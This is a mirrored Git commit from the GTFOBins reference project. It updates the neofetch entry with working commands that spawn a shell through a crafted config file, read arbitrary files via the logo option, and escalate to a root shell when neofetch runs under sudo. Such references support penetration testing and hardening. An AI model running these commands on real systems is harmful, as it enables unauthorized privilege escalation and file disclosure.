mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add neofetch shell
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
4db207dac9
commit
720cc73c7e
@ -1,12 +1,18 @@
|
|||||||
---
|
---
|
||||||
description: The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files.
|
|
||||||
functions:
|
functions:
|
||||||
file-read:
|
shell:
|
||||||
- code: |
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'exec /bin/sh' >$TF
|
||||||
|
neofetch --config $TF
|
||||||
|
file-read:
|
||||||
|
- description: The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files.
|
||||||
|
code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
neofetch --ascii $LFILE
|
neofetch --ascii $LFILE
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
TF=$(mktemp)
|
||||||
sudo neofetch --ascii $LFILE
|
echo 'exec /bin/sh' >$TF
|
||||||
|
sudo neofetch --config $TF
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user